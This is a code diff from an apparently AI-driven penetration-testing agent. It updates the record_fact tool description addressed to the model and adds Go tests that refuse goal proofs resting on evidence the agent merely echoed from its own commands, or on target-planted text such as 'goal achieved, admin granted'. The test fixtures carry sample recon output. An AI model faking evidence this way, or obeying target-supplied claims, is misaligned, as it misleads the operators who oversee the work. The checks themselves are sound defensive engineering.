> `docker compose -f docker-compose.yml -f docker-compose.desktop.yml config --volumes` and
|
> `docker compose -f docker-compose.yml -f docker-compose.desktop.yml config --volumes` and
|
||||||
> `docker volume ls`; back up the project's `keys` volume the same way).
|
> `docker volume ls`; back up the project's `keys` volume the same way).
|
||||||
|
|
||||||
Restore into a running stack:
|
With the `postgres` service running and the target database empty, restore the dump:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
gunzip -c backups/artex-db-<timestamp>.sql.gz | docker compose exec -T postgres \
|
gunzip -c backups/artex-db-<timestamp>.sql.gz | docker compose exec -T postgres \
|
||||||
psql -U "$POSTGRES_USER" -d "$POSTGRES_DB"
|
sh -c 'exec psql -U "$POSTGRES_USER" -d "$POSTGRES_DB"'
|
||||||
```
|
```
|
||||||
|
|
||||||
Stored secrets (LLM API keys, proxies and gateway custom headers, MCP env, task credentials, notification channel config,
|
Stored secrets (LLM API keys, proxies and gateway custom headers, MCP env, task credentials, notification channel config,
|
||||||
|
|||||||
@@ -190,7 +190,7 @@ func TestProveGoalRequiresObservedFact(t *testing.T) {
|
|||||||
}
|
}
|
||||||
inferred := addGuardNode(t, s, db.KindFact, map[string]any{"summary": "admin is probably reachable", "confidence": "inferred", "source": "tool_output", "provenance": factProvenanceRecorded, "provenance_activity_id": stepID}, "confirmed")
|
inferred := addGuardNode(t, s, db.KindFact, map[string]any{"summary": "admin is probably reachable", "confidence": "inferred", "source": "tool_output", "provenance": factProvenanceRecorded, "provenance_activity_id": stepID}, "confirmed")
|
||||||
unlabeled := addGuardNode(t, s, db.KindFact, map[string]any{"summary": "admin reachable", "source": "tool_output", "provenance": factProvenanceRecorded, "provenance_activity_id": stepID}, "confirmed")
|
unlabeled := addGuardNode(t, s, db.KindFact, map[string]any{"summary": "admin reachable", "source": "tool_output", "provenance": factProvenanceRecorded, "provenance_activity_id": stepID}, "confirmed")
|
||||||
observed := addGuardNode(t, s, db.KindFact, map[string]any{"summary": "logged in as admin", "confidence": " Observed ", "source": "tool_output", "provenance": factProvenanceRecorded, "provenance_activity_id": stepID}, "confirmed")
|
observed := addGuardNode(t, s, db.KindFact, map[string]any{"summary": "logged in as admin", "evidence": "uid=0(admin) groups=0(admin)", "confidence": " Observed ", "source": "tool_output", "provenance": factProvenanceRecorded, "provenance_activity_id": stepID}, "confirmed")
|
||||||
bareFinding := addGuardNode(t, s, db.KindFinding, map[string]any{"summary": "user table dumped"}, "confirmed")
|
bareFinding := addGuardNode(t, s, db.KindFinding, map[string]any{"summary": "user table dumped"}, "confirmed")
|
||||||
provenFinding := seedProvenFinding(t, d, task, "ex-guard-1", "https://guard.example.test/api/users",
|
provenFinding := seedProvenFinding(t, d, task, "ex-guard-1", "https://guard.example.test/api/users",
|
||||||
[]int64{seedFindingAsset(t, d, task, "https://guard.example.test/api/users")})
|
[]int64{seedFindingAsset(t, d, task, "https://guard.example.test/api/users")})
|
||||||
|
|||||||
@@ -0,0 +1,37 @@
|
|||||||
|
package agent
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
// The server-level registry behind buildDomainReg injects any bound domain tool
|
||||||
|
// into agents whose own ToolSet dropped it. Its ToolSet is task-less, so a coverage
|
||||||
|
// tool registered there can only answer "requires a task context" — and, worse,
|
||||||
|
// re-adds record_coverage to a worker whose coverage_enabled=false already filtered
|
||||||
|
// it out (#892). Keep the coverage-only tools out of the registry.
|
||||||
|
func TestAllDomainToolsExcludesCoverageOnlyTools(t *testing.T) {
|
||||||
|
ts := NewToolSet(nil, "")
|
||||||
|
all := ts.AllDomainTools()
|
||||||
|
for name := range coverageOnlyTools {
|
||||||
|
for _, tool := range all {
|
||||||
|
if tool.Name() == name {
|
||||||
|
t.Fatalf("%s is in AllDomainTools; a task-less instance injects it into tasks with coverage off", name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// The registry still has to carry the rest; an empty list would make injection a
|
||||||
|
// no-op and hide the bug rather than fix it.
|
||||||
|
if len(all) == 0 {
|
||||||
|
t.Fatal("AllDomainTools is empty")
|
||||||
|
}
|
||||||
|
for _, want := range []string{"insert_assets", "list_assets", "report_finding"} {
|
||||||
|
found := false
|
||||||
|
for _, tool := range all {
|
||||||
|
if tool.Name() == want {
|
||||||
|
found = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !found {
|
||||||
|
t.Fatalf("%s is missing from AllDomainTools", want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+1
-1
@@ -30,7 +30,7 @@ func factItemSchema() map[string]any {
|
|||||||
"summary": str("Required: a non-empty one-sentence summary of this conclusion."),
|
"summary": str("Required: a non-empty one-sentence summary of this conclusion."),
|
||||||
"intent_id": idp("The intent that produced this fact. Omit it to link the fact to the intent this worker is running; a batch may name a different intent per item."),
|
"intent_id": idp("The intent that produced this fact. Omit it to link the fact to the intent this worker is running; a batch may name a different intent per item."),
|
||||||
"detail": str("Details of this fact, including all related observations."),
|
"detail": str("Details of this fact, including all related observations."),
|
||||||
"evidence": str("One line of key evidence: the command and the most proving output lines. Put longer output in detail."),
|
"evidence": str("One line of key evidence: the most proving output lines, copied verbatim from one tool output. Put the command and longer output in detail."),
|
||||||
"confidence": str("observed (seen directly in output) | inferred (inferred from phenomena). Label negative conclusions honestly."),
|
"confidence": str("observed (seen directly in output) | inferred (inferred from phenomena). Label negative conclusions honestly."),
|
||||||
"source": map[string]any{"type": "string", "enum": factSources, "description": "where the content came from: target_response | tool_output | third_party_intel | operator_input | inference (default when omitted)"},
|
"source": map[string]any{"type": "string", "enum": factSources, "description": "where the content came from: target_response | tool_output | third_party_intel | operator_input | inference (default when omitted)"},
|
||||||
"asset_ids": map[string]any{"type": "array", "items": factAssetIDSchema(), "description": "Asset IDs explicitly involved in this fact. Use asset_ids as the canonical field; tested_asset_ids is accepted as an alias. If both are provided, they must name the same set. Do not infer IDs from the intent."},
|
"asset_ids": map[string]any{"type": "array", "items": factAssetIDSchema(), "description": "Asset IDs explicitly involved in this fact. Use asset_ids as the canonical field; tested_asset_ids is accepted as an alias. If both are provided, they must name the same set. Do not infer IDs from the intent."},
|
||||||
|
|||||||
@@ -1,9 +1,10 @@
|
|||||||
package agent
|
package agent
|
||||||
|
|
||||||
// Texts of the earlier record_fact contract (fact fields at the top level
|
// Texts of earlier record_fact defaults (the contract with fact fields at the
|
||||||
// beside facts[]), kept verbatim so the server's one-time refresh
|
// top level beside facts[], and the facts-only texts of v0.7.0 and v0.7.1),
|
||||||
// (server/fact_input_schema.go) can tell a stored default from an operator
|
// kept verbatim so the server's one-time refresh (server/fact_input_schema.go)
|
||||||
// edit. Nothing here is published to a model.
|
// can tell a stored default from an operator edit. Nothing here is published
|
||||||
|
// to a model.
|
||||||
|
|
||||||
// recordFactLegacyDescription is the record_fact description seeded up to the
|
// recordFactLegacyDescription is the record_fact description seeded up to the
|
||||||
// facts-only contract.
|
// facts-only contract.
|
||||||
@@ -27,12 +28,41 @@ const recordFactReleasedDescription = "Write an exploration [fact/conclusion] in
|
|||||||
" · confidence = observed (seen directly in output) | inferred (inferred from phenomena).\n" +
|
" · confidence = observed (seen directly in output) | inferred (inferred from phenomena).\n" +
|
||||||
" · **Negative conclusions** (not injectable / port closed / no entry found, etc.) state only \"observation + tentative reading\" — state what you actually saw; whether to abandon the direction is for the planner to decide globally; always provide evidence, mark inferred when the means weren't exhausted or the evidence is weak (including probed only once, looks-like), and mark observed only when truly exhausted and directly seen."
|
" · **Negative conclusions** (not injectable / port closed / no entry found, etc.) state only \"observation + tentative reading\" — state what you actually saw; whether to abandon the direction is for the planner to decide globally; always provide evidence, mark inferred when the means weren't exhausted or the evidence is weak (including probed only once, looks-like), and mark observed only when truly exhausted and directly seen."
|
||||||
|
|
||||||
// recordFactLegacyItemDescriptions are the facts[] item descriptions of the
|
// The facts-only contract texts below asked for the command in evidence;
|
||||||
// earlier contract whose wording referred to the top level; the refresh
|
// evidence now quotes output lines only, each one from the cited tool result.
|
||||||
// replaces exactly these texts with the current ones.
|
// Their dashes are written as escapes; the bytes are the released ones.
|
||||||
|
|
||||||
|
// recordFactV070Description is the record_fact description seeded by v0.7.0.
|
||||||
|
const recordFactV070Description = "Write an exploration [fact/conclusion] into the exploration graph, linked to the intent that produced it (intent_id). Used to record exploration results \u2014 both [positive conclusions] like fingerprinting/enumeration, and [negative conclusions] like 'port closed'/'parameter not injectable'/'no login entry found'.\n" +
|
||||||
|
"⚠️Multiple observations from one exploration must be [consolidated into ONE fact], not split into many; whenever they can be merged into one fact, use one: summary = a one-sentence summary of this conclusion, detail = the related details (may contain multiple concrete items). Example: a fingerprinting intent → one fact {summary:'identified the tech stack and response characteristics of site X', detail:'nginx 1.25 / Vue3 / 200 / title=.. / body_len=..'}, rather than one fact each for status code, fingerprint, and title. One intent usually produces exactly one fact; splitting too finely bloats the graph endlessly.\n" +
|
||||||
|
"★facts is the only parameter: facts:[{...}] with one item per [mutually distinct] conclusion, usually exactly one item. Returns an ids array, same length and order as facts. An item without intent_id is linked to the intent you are running.\n" +
|
||||||
|
"⚠️Write only conclusions you [actually saw] in tool output \u2014 don't extrapolate. evidence and confidence keep inaccurate conclusions from polluting the graph:\n" +
|
||||||
|
" · evidence = [one line] of key evidence supporting this conclusion (the command + the one or two most proving output lines), **keep it brief** \u2014 details belong in detail; don't paste large output blocks here.\n" +
|
||||||
|
" · confidence = observed (seen directly in output) | inferred (inferred from phenomena).\n" +
|
||||||
|
" · source = where the content came from: target_response (content the target itself returned: page bodies, headers, error messages, banners, even when a tool fetched it) | tool_output (a tool's own result about the target: port states, scanner verdicts, status codes, timings) | third_party_intel (OSINT, CVE databases, public reports) | operator_input (given by the human operator) | inference (your own reasoning; the default when omitted). Any other value is refused.\n" +
|
||||||
|
" · **Negative conclusions** (not injectable / port closed / no entry found, etc.) state only \"observation + tentative reading\" \u2014 state what you actually saw; whether to abandon the direction is for the planner to decide globally; always provide evidence, mark inferred when the means weren't exhausted or the evidence is weak (including probed only once, looks-like), and mark observed only when truly exhausted and directly seen.\n" +
|
||||||
|
"★Call shape: exactly {\"facts\":[{...}]} with one item per distinct conclusion (usually one item). Each item carries its own summary, detail, evidence, confidence, source, asset_ids and, when it differs from the intent you are running, intent_id. Nothing else at the top level; a top-level fact field beside facts is refused and nothing is written."
|
||||||
|
|
||||||
|
// recordFactV071Description is the record_fact description seeded by v0.7.1 (also main up to the evidence-lines rule).
|
||||||
|
const recordFactV071Description = "Write an exploration [fact/conclusion] into the exploration graph, linked to the intent that produced it (intent_id). Used to record exploration results \u2014 both [positive conclusions] like fingerprinting/enumeration, and [negative conclusions] like 'port closed'/'parameter not injectable'/'no login entry found'.\n" +
|
||||||
|
"⚠️Multiple observations from one exploration must be [consolidated into ONE fact], not split into many; whenever they can be merged into one fact, use one: summary = a one-sentence summary of this conclusion, detail = the related details (may contain multiple concrete items). Example: a fingerprinting intent → one fact {summary:'identified the tech stack and response characteristics of site X', detail:'nginx 1.25 / Vue3 / 200 / title=.. / body_len=..'}, rather than one fact each for status code, fingerprint, and title. One intent usually produces exactly one fact; splitting too finely bloats the graph endlessly.\n" +
|
||||||
|
"★facts is the only parameter: facts:[{...}] with one item per [mutually distinct] conclusion, usually exactly one item. Returns an ids array, same length and order as facts. An item without intent_id is linked to the intent you are running.\n" +
|
||||||
|
"⚠️Write only conclusions you [actually saw] in tool output \u2014 don't extrapolate. evidence and confidence keep inaccurate conclusions from polluting the graph:\n" +
|
||||||
|
" · evidence = [one line] of key evidence supporting this conclusion (the command + the one or two most proving output lines), **keep it brief** \u2014 details belong in detail; don't paste large output blocks here.\n" +
|
||||||
|
" · confidence = observed (seen directly in output) | inferred (inferred from phenomena).\n" +
|
||||||
|
" · source = where the content came from: target_response (content the target itself returned: page bodies, headers, error messages, banners, even when a tool fetched it) | tool_output (a tool's own result about the target: port states, scanner verdicts, status codes, timings) | third_party_intel (OSINT, CVE databases, public reports) | operator_input (given by the human operator) | inference (your own reasoning; the default when omitted). Any other value is refused.\n" +
|
||||||
|
" · **evidence is checked against this intent's recorded activity**: quote the output verbatim. Shell and other free-text tool output can relay a target's words and cannot prove a goal by themselves. For operator_input, quote the operator's message to this intent.\n" +
|
||||||
|
" · **Negative conclusions** (not injectable / port closed / no entry found, etc.) state only \"observation + tentative reading\" \u2014 state what you actually saw; whether to abandon the direction is for the planner to decide globally; always provide evidence, mark inferred when the means weren't exhausted or the evidence is weak (including probed only once, looks-like), and mark observed only when truly exhausted and directly seen.\n" +
|
||||||
|
"★Call shape: exactly {\"facts\":[{...}]} with one item per distinct conclusion (usually one item). Each item carries its own summary, detail, evidence, confidence, source, asset_ids and, when it differs from the intent you are running, intent_id. Nothing else at the top level; a top-level fact field beside facts is refused and nothing is written."
|
||||||
|
|
||||||
|
// recordFactLegacyItemDescriptions are earlier facts[] item descriptions the
|
||||||
|
// refresh replaces exactly with the current ones: summary and intent_id of the
|
||||||
|
// earlier contract, whose wording referred to the top level, and evidence of
|
||||||
|
// v0.7.0 and v0.7.1, which asked for the command.
|
||||||
var recordFactLegacyItemDescriptions = map[string]string{
|
var recordFactLegacyItemDescriptions = map[string]string{
|
||||||
"summary": "Required on every fact: a non-empty one-sentence summary of this conclusion. Batch items do not inherit summary from the top level.",
|
"summary": "Required on every fact: a non-empty one-sentence summary of this conclusion. Batch items do not inherit summary from the top level.",
|
||||||
"intent_id": "The intent that produced this fact; only this field inherits from the top level in a batch.",
|
"intent_id": "The intent that produced this fact; only this field inherits from the top level in a batch.",
|
||||||
|
"evidence": "One line of key evidence: the command and the most proving output lines. Put longer output in detail.",
|
||||||
}
|
}
|
||||||
|
|
||||||
// recordFactLegacyFactsDescription is the facts property description of the
|
// recordFactLegacyFactsDescription is the facts property description of the
|
||||||
@@ -48,7 +78,7 @@ const recordFactReleasedFactsDescription = "[use when there are several distinct
|
|||||||
// contract that the refresh may replace: the tool descriptions, the facts
|
// contract that the refresh may replace: the tool descriptions, the facts
|
||||||
// property descriptions and the item descriptions.
|
// property descriptions and the item descriptions.
|
||||||
func RecordFactLegacyDescriptions() (tool, facts []string, items map[string]string) {
|
func RecordFactLegacyDescriptions() (tool, facts []string, items map[string]string) {
|
||||||
return []string{recordFactLegacyDescription, recordFactReleasedDescription},
|
return []string{recordFactLegacyDescription, recordFactReleasedDescription, recordFactV070Description, recordFactV071Description},
|
||||||
[]string{recordFactLegacyFactsDescription, recordFactReleasedFactsDescription},
|
[]string{recordFactLegacyFactsDescription, recordFactReleasedFactsDescription},
|
||||||
recordFactLegacyItemDescriptions
|
recordFactLegacyItemDescriptions
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,132 @@
|
|||||||
|
package agent
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/Autumn-27/artex/db"
|
||||||
|
)
|
||||||
|
|
||||||
|
// echoTestIntent is an intent with a goal, a ToolSet that runs it, and helpers
|
||||||
|
// to record tool calls and facts on it.
|
||||||
|
type echoTestIntent struct {
|
||||||
|
t *testing.T
|
||||||
|
s *db.ExplorationStore
|
||||||
|
tsx *ToolSet
|
||||||
|
intent int64
|
||||||
|
n int
|
||||||
|
}
|
||||||
|
|
||||||
|
func newEchoTestIntent(t *testing.T) *echoTestIntent {
|
||||||
|
s := guardTaskStore(t)
|
||||||
|
intent := addGuardNode(t, s, db.KindIntent, map[string]any{"text": "explain HTTP caching headers"}, "running")
|
||||||
|
tsx := NewToolSet(s, "worker-5")
|
||||||
|
tsx.SetOwnerNode(intent)
|
||||||
|
return &echoTestIntent{t: t, s: s, tsx: tsx, intent: intent}
|
||||||
|
}
|
||||||
|
|
||||||
|
// call records a tool_use with input and its tool_result with output, and
|
||||||
|
// returns the tool_result activity id.
|
||||||
|
func (e *echoTestIntent) call(tool string, input map[string]string, output string) int64 {
|
||||||
|
e.t.Helper()
|
||||||
|
e.n++
|
||||||
|
useID := "toolu_echo_" + strconv.Itoa(e.n)
|
||||||
|
in, _ := json.Marshal(input)
|
||||||
|
if _, err := e.s.AppendActivity(db.Activity{NodeID: &e.intent, Worker: "worker-5", Kind: "tool_use", Tool: tool, ToolUseID: useID, Summary: tool, Detail: string(in)}); err != nil {
|
||||||
|
e.t.Fatal(err)
|
||||||
|
}
|
||||||
|
id, err := e.s.AppendActivity(db.Activity{NodeID: &e.intent, Worker: "worker-5", Kind: "tool_result", Tool: tool, ToolUseID: useID, Detail: output})
|
||||||
|
if err != nil {
|
||||||
|
e.t.Fatal(err)
|
||||||
|
}
|
||||||
|
return id
|
||||||
|
}
|
||||||
|
|
||||||
|
// fact records an observed tool_output fact quoting evidence and returns its
|
||||||
|
// payload, then tries to prove a fresh goal with it.
|
||||||
|
func (e *echoTestIntent) fact(evidence string) (payload map[string]any, proved bool, refusal string) {
|
||||||
|
e.t.Helper()
|
||||||
|
in, _ := json.Marshal(map[string]string{"summary": "caching headers explained", "evidence": evidence, "confidence": "observed", "source": "tool_output"})
|
||||||
|
out := callGuardTool(e.t, e.tsx.recordFact(), string(in)).Flatten()
|
||||||
|
if !strings.HasPrefix(out, "fact recorded: ") {
|
||||||
|
e.t.Fatalf("record_fact: %q", out)
|
||||||
|
}
|
||||||
|
id, err := strconv.ParseInt(strings.TrimPrefix(out, "fact recorded: "), 10, 64)
|
||||||
|
if err != nil {
|
||||||
|
e.t.Fatal(err)
|
||||||
|
}
|
||||||
|
n, err := e.s.GetNode(id)
|
||||||
|
if err != nil || n == nil {
|
||||||
|
e.t.Fatalf("node %d: %v", id, err)
|
||||||
|
}
|
||||||
|
_ = json.Unmarshal(n.Payload, &payload)
|
||||||
|
goal := addGuardNode(e.t, e.s, db.KindGoal, map[string]any{"text": "explain caching"}, "open")
|
||||||
|
res := callGuardTool(e.t, e.tsx.proveGoal(), `{"goal_id":`+strconv.FormatInt(goal, 10)+`,"evidence_id":`+strconv.FormatInt(id, 10)+`,"reason":"x"}`)
|
||||||
|
return payload, !res.IsError && nodeState(e.t, e.s, goal) == "met", res.Flatten()
|
||||||
|
}
|
||||||
|
|
||||||
|
// A tool result that only repeats what the agent wrote into a tool's input,
|
||||||
|
// in the same call or in an earlier one, is not an observation: the fact is
|
||||||
|
// stored unverified and cannot prove a goal.
|
||||||
|
func TestFactProvenanceRefusesEchoedToolInput(t *testing.T) {
|
||||||
|
const heredoc = "Cache-Control tells clients how long they may reuse a response."
|
||||||
|
const printf = `The "Vary" header <names> the request headers a cache must match.`
|
||||||
|
const written = "ETag lets a client revalidate a cached copy cheaply."
|
||||||
|
const mixed = "Expires is the older, absolute form of a freshness lifetime."
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
calls func(e *echoTestIntent)
|
||||||
|
evidence string
|
||||||
|
}{
|
||||||
|
{"heredoc then cat in one call", func(e *echoTestIntent) {
|
||||||
|
e.call("Bash", map[string]string{"command": "cat > notes.txt <<'EOF'\n" + heredoc + "\nEOF\ncat notes.txt"}, heredoc+"\n")
|
||||||
|
}, heredoc},
|
||||||
|
{"printf with JSON-escaped characters", func(e *echoTestIntent) {
|
||||||
|
e.call("Bash", map[string]string{"command": `printf '%s\n' '` + printf + `'`}, printf+"\n")
|
||||||
|
}, printf},
|
||||||
|
{"file written by one call and read by another", func(e *echoTestIntent) {
|
||||||
|
e.call("Write", map[string]string{"file_path": "/work/s.txt", "content": written + "\n"}, "File created successfully at: /work/s.txt")
|
||||||
|
e.call("Bash", map[string]string{"command": "ls -la /work"}, "total 4\n-rw-r--r-- 1 kali kali 52 Dec 3 12:00 s.txt")
|
||||||
|
e.call("Bash", map[string]string{"command": "cat /work/s.txt"}, written+"\n")
|
||||||
|
}, written},
|
||||||
|
{"echo next to a real output line", func(e *echoTestIntent) {
|
||||||
|
e.call("Bash", map[string]string{"command": "echo '" + mixed + "'; uname -a"}, mixed+"\nLinux kali 6.12.0-kali1-amd64 #1 SMP x86_64 GNU/Linux\n")
|
||||||
|
}, mixed + "\nLinux kali 6.12.0-kali1-amd64 #1 SMP x86_64 GNU/Linux"},
|
||||||
|
}
|
||||||
|
for _, tc := range cases {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
e := newEchoTestIntent(t)
|
||||||
|
tc.calls(e)
|
||||||
|
p, proved, refusal := e.fact(tc.evidence)
|
||||||
|
note, _ := p["provenance_note"].(string)
|
||||||
|
if p["provenance"] != factProvenanceUnverified || !strings.Contains(note, "input of an earlier tool call") {
|
||||||
|
t.Errorf("provenance=%v note=%q, want unverified with the input-echo note", p["provenance"], note)
|
||||||
|
}
|
||||||
|
if proved {
|
||||||
|
t.Errorf("echoed fact proved a goal: %q", refusal)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Output the agent did not write is still an observation: a grep result whose
|
||||||
|
// quoted line is not in the command, and an older real result whose line a
|
||||||
|
// later command repeats.
|
||||||
|
func TestFactProvenanceAcceptsToolOutputNotInInput(t *testing.T) {
|
||||||
|
e := newEchoTestIntent(t)
|
||||||
|
grep := e.call("Bash", map[string]string{"command": "grep -i 'server:' /work/headers.txt"}, "Server: nginx/1.25.3 (Ubuntu)\n")
|
||||||
|
p, proved, refusal := e.fact("Server: nginx/1.25.3 (Ubuntu)")
|
||||||
|
if got, _ := p["provenance_activity_id"].(float64); p["provenance"] != factProvenanceRecorded || int64(got) != grep || !proved {
|
||||||
|
t.Fatalf("grep output: provenance=%v activity=%v proved=%v (%s), want recorded on %d and proved", p["provenance"], p["provenance_activity_id"], proved, refusal, grep)
|
||||||
|
}
|
||||||
|
|
||||||
|
scan := e.call("Bash", map[string]string{"command": "redis-cli -h 10.0.0.5 INFO server | head -3"}, "# Server\nredis_version:7.2.4\nredis_mode:standalone_cluster_off")
|
||||||
|
e.call("Bash", map[string]string{"command": "echo 'redis_mode:standalone_cluster_off' >> notes.txt"}, "")
|
||||||
|
e.call("Bash", map[string]string{"command": "cat notes.txt"}, "redis_mode:standalone_cluster_off\n")
|
||||||
|
p, proved, refusal = e.fact("redis_mode:standalone_cluster_off")
|
||||||
|
if got, _ := p["provenance_activity_id"].(float64); p["provenance"] != factProvenanceRecorded || int64(got) != scan || !proved {
|
||||||
|
t.Fatalf("older real output: provenance=%v activity=%v proved=%v (%s), want recorded on %d and proved", p["provenance"], p["provenance_activity_id"], proved, refusal, scan)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,60 @@
|
|||||||
|
package agent
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/Autumn-27/artex/db"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Every evidence line must be in the one tool result the fact is tied to:
|
||||||
|
// free text next to one real output line, or a line found only in another
|
||||||
|
// result, leaves the fact unverified. Blank lines and surrounding whitespace
|
||||||
|
// do not count, and a short line must be a whole output line.
|
||||||
|
func TestFactProvenanceRequiresEveryEvidenceLine(t *testing.T) {
|
||||||
|
const uname = "Linux kali 6.12.0-kali1-amd64 #1 SMP x86_64 GNU/Linux"
|
||||||
|
refused := []struct {
|
||||||
|
name string
|
||||||
|
evidence string
|
||||||
|
}{
|
||||||
|
{"free text next to a real line", "HTTP caching headers let clients reuse a response safely.\n" + uname},
|
||||||
|
{"short free text", uname + "\npwned"},
|
||||||
|
{"short line inside a longer word", "redis_version:7.2.4\nyes"},
|
||||||
|
{"lines spread over two results", uname + "\nredis_version:7.2.4"},
|
||||||
|
}
|
||||||
|
for _, tc := range refused {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
e := newEchoTestIntent(t)
|
||||||
|
e.call("Bash", map[string]string{"command": "uname -a"}, uname+"\n")
|
||||||
|
e.call("Bash", map[string]string{"command": "redis-cli INFO server | head -4"}, "# Server\nredis_version:7.2.4\nyesterday_restart:0\nok\n")
|
||||||
|
p, proved, refusal := e.fact(tc.evidence)
|
||||||
|
note, _ := p["provenance_note"].(string)
|
||||||
|
if p["provenance"] != factProvenanceUnverified || !strings.Contains(note, "every evidence line") {
|
||||||
|
t.Errorf("provenance=%v note=%q, want unverified with the every-line note", p["provenance"], note)
|
||||||
|
}
|
||||||
|
if proved {
|
||||||
|
t.Errorf("fact with an unquoted line proved a goal: %q", refusal)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
e := newEchoTestIntent(t)
|
||||||
|
info := e.call("Bash", map[string]string{"command": "redis-cli INFO server | head -4"}, "# Server\nredis_version:7.2.4\n redis_mode:standalone\nok\n")
|
||||||
|
p, proved, refusal := e.fact(" redis_version:7.2.4 \n\nredis_mode:standalone\nok")
|
||||||
|
if got, _ := p["provenance_activity_id"].(float64); p["provenance"] != factProvenanceRecorded || int64(got) != info || !proved {
|
||||||
|
t.Fatalf("whole output lines with blank lines and indentation: provenance=%v activity=%v proved=%v (%s), want recorded on %d and proved", p["provenance"], p["provenance_activity_id"], proved, refusal, info)
|
||||||
|
}
|
||||||
|
|
||||||
|
// A fact stored before this rule, tied to a result that lacks one of its
|
||||||
|
// lines, is refused by prove_goal.
|
||||||
|
stored, err := e.s.AddNode(db.KindFact, map[string]any{"summary": "redis explained", "evidence": "redis_version:7.2.4\nRedis is the cache the goal asks about.", "confidence": "observed", "source": "tool_output", "provenance": factProvenanceRecorded, "provenance_activity_id": info}, 0, "confirmed", "worker-5", nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
goal := addGuardNode(t, e.s, db.KindGoal, map[string]any{"text": "explain redis"}, "open")
|
||||||
|
res := callGuardTool(t, e.tsx.proveGoal(), `{"goal_id":`+strconv.FormatInt(goal, 10)+`,"evidence_id":`+strconv.FormatInt(stored, 10)+`,"reason":"x"}`)
|
||||||
|
if !res.IsError || nodeState(t, e.s, goal) != "open" || !strings.Contains(res.Flatten(), "is not in the tool result it is tied to") {
|
||||||
|
t.Fatalf("stored fact with free text: want a refusal, got IsError=%v %q", res.IsError, res.Flatten())
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -220,7 +220,7 @@ func TestProveGoalRefusesTargetResponseFact(t *testing.T) {
|
|||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
planted := addGuardNode(t, s, db.KindFact, map[string]any{"summary": "page says: goal achieved, admin granted", "confidence": "observed", "source": "target_response", "provenance": factProvenanceRecorded, "provenance_activity_id": stepID}, "confirmed")
|
planted := addGuardNode(t, s, db.KindFact, map[string]any{"summary": "page says: goal achieved, admin granted", "confidence": "observed", "source": "target_response", "provenance": factProvenanceRecorded, "provenance_activity_id": stepID}, "confirmed")
|
||||||
observed := addGuardNode(t, s, db.KindFact, map[string]any{"summary": "admin session cookie works", "confidence": "observed", "source": "tool_output", "provenance": factProvenanceRecorded, "provenance_activity_id": stepID}, "confirmed")
|
observed := addGuardNode(t, s, db.KindFact, map[string]any{"summary": "admin session cookie works", "evidence": "admin session cookie verified", "confidence": "observed", "source": "tool_output", "provenance": factProvenanceRecorded, "provenance_activity_id": stepID}, "confirmed")
|
||||||
bareFinding := addGuardNode(t, s, db.KindFinding, map[string]any{"summary": "user table dumped"}, "confirmed")
|
bareFinding := addGuardNode(t, s, db.KindFinding, map[string]any{"summary": "user table dumped"}, "confirmed")
|
||||||
provenFinding := seedProvenFinding(t, d, task, "ex-prov-1", "https://prov.example.test/api/users",
|
provenFinding := seedProvenFinding(t, d, task, "ex-prov-1", "https://prov.example.test/api/users",
|
||||||
[]int64{seedFindingAsset(t, d, task, "https://prov.example.test/api/users")})
|
[]int64{seedFindingAsset(t, d, task, "https://prov.example.test/api/users")})
|
||||||
|
|||||||
@@ -130,6 +130,7 @@ func TestProveGoalFindingProofGatePG(t *testing.T) {
|
|||||||
}
|
}
|
||||||
nonHTTPFact := addGuardNode(t, store, db.KindFact, map[string]any{
|
nonHTTPFact := addGuardNode(t, store, db.KindFact, map[string]any{
|
||||||
"summary": "nmap confirmed port 6379 open with unauthenticated Redis INFO",
|
"summary": "nmap confirmed port 6379 open with unauthenticated Redis INFO",
|
||||||
|
"evidence": "6379/tcp open redis redis_version:7.2.4",
|
||||||
"source": "tool_output",
|
"source": "tool_output",
|
||||||
"confidence": "observed",
|
"confidence": "observed",
|
||||||
"provenance": factProvenanceRecorded,
|
"provenance": factProvenanceRecorded,
|
||||||
|
|||||||
+9
-3
@@ -616,16 +616,22 @@ func quotaAwareHTTPClient(proxy, sessionHeaderKey, userAgent string) (*http.Clie
|
|||||||
if proxy == "" {
|
if proxy == "" {
|
||||||
transport.Proxy = nil // empty = direct; no fallback to the HTTP_PROXY/HTTPS_PROXY env vars
|
transport.Proxy = nil // empty = direct; no fallback to the HTTP_PROXY/HTTPS_PROXY env vars
|
||||||
} else {
|
} else {
|
||||||
|
// Validation errors reach API responses and logs: never quote the
|
||||||
|
// proxy address, its scheme, or url.Parse's raw error (which quotes
|
||||||
|
// its input), since the URL may carry credentials.
|
||||||
proxyURL, err := url.Parse(proxy)
|
proxyURL, err := url.Parse(proxy)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("llm: invalid proxy %q: %w", proxy, err)
|
return nil, errors.New("llm: proxy address is not a valid URL")
|
||||||
}
|
}
|
||||||
switch proxyURL.Scheme {
|
switch proxyURL.Scheme {
|
||||||
case "http", "https", "socks5":
|
case "http", "https", "socks5":
|
||||||
case "":
|
case "":
|
||||||
return nil, fmt.Errorf("llm: proxy %q missing scheme (use http://, https:// or socks5://)", proxy)
|
